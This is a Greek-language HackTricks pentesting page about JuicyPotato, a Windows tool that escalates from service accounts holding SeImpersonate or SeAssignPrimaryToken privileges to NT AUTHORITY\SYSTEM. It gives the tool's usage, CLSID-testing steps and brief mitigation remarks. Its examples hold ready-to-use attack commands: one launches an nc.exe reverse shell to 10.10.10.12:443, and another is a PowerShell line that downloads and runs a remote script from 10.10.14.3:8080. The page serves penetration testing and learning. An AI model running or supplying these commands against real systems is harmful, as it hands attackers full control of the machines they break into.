hacktricks/windows-hardening/windows-local-privilege-escalation/juicypotato.md

13 KiB
Raw Blame History

JuicyPotato

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

{% hint style="warning" %} Το JuicyPotato δεν λειτουργεί σε Windows Server 2019 και Windows 10 build 1809 και μετά. Ωστόσο, PrintSpoofer, RoguePotato, SharpEfsPotato μπορούν να χρησιμοποιηθούν για να εκμεταλλευτούν τα ίδια προνόμια και να αποκτήσουν πρόσβαση επιπέδου NT AUTHORITY\SYSTEM. Δείτε: {% endhint %}

{% content-ref url="roguepotato-and-printspoofer.md" %} roguepotato-and-printspoofer.md {% endcontent-ref %}

Juicy Potato (κατάχρηση των χρυσών προνομίων)

Μια γλυκιά έκδοση του RottenPotatoNG, με λίγο χυμό, δηλαδή ένα άλλο εργαλείο Τοπικής Κατάχρησης Προνομίων, από Λογαριασμούς Υπηρεσιών Windows σε NT AUTHORITY\SYSTEM

Μπορείτε να κατεβάσετε το juicypotato από https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts

Περίληψη

Από το juicy-potato Readme:

RottenPotatoNG και οι παραλλαγές του εκμεταλλεύονται την αλυσίδα κατάχρησης προνομίων βασισμένη σε BITS υπηρεσία έχοντας τον MiTM listener στο 127.0.0.1:6666 και όταν έχετε SeImpersonate ή SeAssignPrimaryToken προνόμια. Κατά τη διάρκεια μιας ανασκόπησης build Windows βρήκαμε μια ρύθμιση όπου το BITS είχε σκόπιμα απενεργοποιηθεί και η θύρα 6666 είχε καταληφθεί.

Αποφασίσαμε να οπλοποιήσουμε το RottenPotatoNG: Πείτε γεια στο Juicy Potato.

Για τη θεωρία, δείτε Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM και ακολουθήστε την αλυσίδα των συνδέσμων και αναφορών.

Ανακαλύψαμε ότι, εκτός από το BITS, υπάρχουν αρκετοί COM servers που μπορούμε να καταχραστούμε. Απλά χρειάζεται να:

  1. είναι δυνατό να δημιουργηθούν από τον τρέχοντα χρήστη, συνήθως έναν “χρήστη υπηρεσίας” που έχει προνόμια κατάχρησης
  2. να υλοποιούν τη διεπαφή IMarshal
  3. να εκτελούνται ως ανυψωμένος χρήστης (SYSTEM, Administrator, …)

Μετά από κάποιες δοκιμές, αποκτήσαμε και δοκιμάσαμε μια εκτενή λίστα από ενδιαφέροντα CLSIDs σε πολλές εκδόσεις Windows.

Juicy λεπτομέρειες

Το JuicyPotato σας επιτρέπει να:

  • Στόχος CLSID επιλέξτε οποιοδήποτε CLSID θέλετε. Εδώ μπορείτε να βρείτε τη λίστα οργανωμένη κατά OS.
  • Θύρα Listening COM ορίστε τη θύρα listening COM που προτιμάτε (αντί της σκληροκωδικοποιημένης 6666)
  • Διεύθυνση IP Listening COM δεσμεύστε τον διακομιστή σε οποιαδήποτε IP
  • Λειτουργία δημιουργίας διεργασίας ανάλογα με τα προνόμια του χρήστη που καταχράται μπορείτε να επιλέξετε από:
  • CreateProcessWithToken (χρειάζεται SeImpersonate)
  • CreateProcessAsUser (χρειάζεται SeAssignPrimaryToken)
  • και τα δύο
  • Διεργασία προς εκτέλεση εκκινήστε ένα εκτελέσιμο ή σενάριο αν η εκμετάλλευση είναι επιτυχής
  • Επιχείρημα διεργασίας προσαρμόστε τα επιχειρήματα της εκτελούμενης διεργασίας
  • Διεύθυνση διακομιστή RPC για μια κρυφή προσέγγιση μπορείτε να πιστοποιηθείτε σε έναν εξωτερικό διακομιστή RPC
  • Θύρα διακομιστή RPC χρήσιμο αν θέλετε να πιστοποιηθείτε σε έναν εξωτερικό διακομιστή και το firewall μπλοκάρει τη θύρα 135
  • ΛΕΙΤΟΥΡΓΙΑ ΔΟΚΙΜΗΣ κυρίως για δοκιμαστικούς σκοπούς, δηλαδή δοκιμή CLSIDs. Δημιουργεί το DCOM και εκτυπώνει τον χρήστη του token. Δείτε εδώ για δοκιμή

Χρήση

T:\>JuicyPotato.exe
JuicyPotato v0.1

Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port


Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)

Τελικές σκέψεις

Από το juicy-potato Readme:

Εάν ο χρήστης έχει δικαιώματα SeImpersonate ή SeAssignPrimaryToken, τότε είστε SYSTEM.

Είναι σχεδόν αδύνατο να αποτραπεί η κακή χρήση όλων αυτών των COM Servers. Μπορείτε να σκεφτείτε να τροποποιήσετε τα δικαιώματα αυτών των αντικειμένων μέσω του DCOMCNFG, αλλά καλή τύχη, αυτό θα είναι προκλητικό.

Η πραγματική λύση είναι να προστατεύσετε ευαίσθητους λογαριασμούς και εφαρμογές που εκτελούνται υπό τους λογαριασμούς * SERVICE. Η διακοπή του DCOM θα αναστείλει σίγουρα αυτή την εκμετάλλευση, αλλά θα μπορούσε να έχει σοβαρές επιπτώσεις στο υποκείμενο λειτουργικό σύστημα.

Από: http://ohpe.it/juicy-potato/

Παραδείγματα

Σημείωση: Επισκεφθείτε αυτή τη σελίδα για μια λίστα με CLSIDs που να δοκιμάσετε.

Πάρτε ένα nc.exe reverse shell

c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

c:\Users\Public>

Powershell rev

.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *

Εκκίνηση νέου CMD (αν έχετε πρόσβαση RDP)

Προβλήματα CLSID

Συχνά, το προεπιλεγμένο CLSID που χρησιμοποιεί το JuicyPotato δεν λειτουργεί και η εκμετάλλευση αποτυγχάνει. Συνήθως, απαιτούνται πολλές προσπάθειες για να βρείτε ένα λειτουργικό CLSID. Για να αποκτήσετε μια λίστα με CLSIDs για να δοκιμάσετε για ένα συγκεκριμένο λειτουργικό σύστημα, θα πρέπει να επισκεφθείτε αυτή τη σελίδα:

{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}

Έλεγχος CLSIDs

Αρχικά, θα χρειαστείτε μερικά εκτελέσιμα αρχεία εκτός από το juicypotato.exe.

Κατεβάστε Join-Object.ps1 και φορτώστε το στη συνεδρία PS σας, και κατεβάστε και εκτελέστε GetCLSID.ps1. Αυτό το σενάριο θα δημιουργήσει μια λίστα με πιθανά CLSIDs για δοκιμή.

Στη συνέχεια, κατεβάστε test_clsid.bat (αλλάξτε τη διαδρομή στη λίστα CLSID και στο εκτελέσιμο juicypotato) και εκτελέστε το. Θα αρχίσει να δοκιμάζει κάθε CLSID, και όταν αλλάξει ο αριθμός θύρας, θα σημαίνει ότι το CLSID λειτούργησε.

Ελέγξτε τα λειτουργικά CLSIDs χρησιμοποιώντας την παράμετρο -c

Αναφορές

{% hint style="success" %} Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστήριξη HackTricks
{% endhint %}